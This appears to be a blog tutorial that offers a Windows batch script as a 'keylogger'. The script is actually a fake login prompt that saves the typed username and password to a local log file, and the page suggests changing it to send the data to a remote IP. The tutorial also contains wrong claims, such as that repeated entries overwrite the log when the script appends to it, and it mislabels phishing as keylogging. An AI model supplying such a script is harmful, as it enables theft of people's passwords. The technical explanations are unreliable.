
The Gack Shack

Keylogger Script
A keylogger is a software that spy on your computer by recording every keystroke, In this tutorial we make a log file that writes that data whenever we enter username or password in our computer, The log file is usually encrypted and the master key lies with the user itself.
​
Keyloggers are even used to steal the bank account passwords too, below is the script for the basic keylogger.
The method is very simple and easy and you don’t need any tool to do this, but just a notepad to perform the task. So just follow the post below to proceed.
This script should be used for research/education purposes only. However, application level coding has not provided. At least you can understand how Keyloggers works.
Step 1. First of all, you need to open notepad in your windows by pressing Window button and then selecting the notepad from the options. Now in notepad, copy and paste the below code in it.
​
@echo off
color a
title Login
cls
echo Please Enter Your Email Address And Password
echo.
echo.
echo %date% %time% >> Log.txt
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
pause
start https://teqnicha.wordpress.com/
exit
Step 2. Save your file as ‘KeyLog.bat’ and run it.
LogRun.JPG
​
Step 3. Alright, now once you test it, you will go back into the folder where ‘KeyLog.bat’ saved and a ‘Log.txt’ file will be in there, [if you make a second entry, the Log.txt file will overwrite itself.]
LogResult.JPG
The above code can be customized in a way to send the data into a remote location/IP instead of opening Teqnicha homepage at last.
​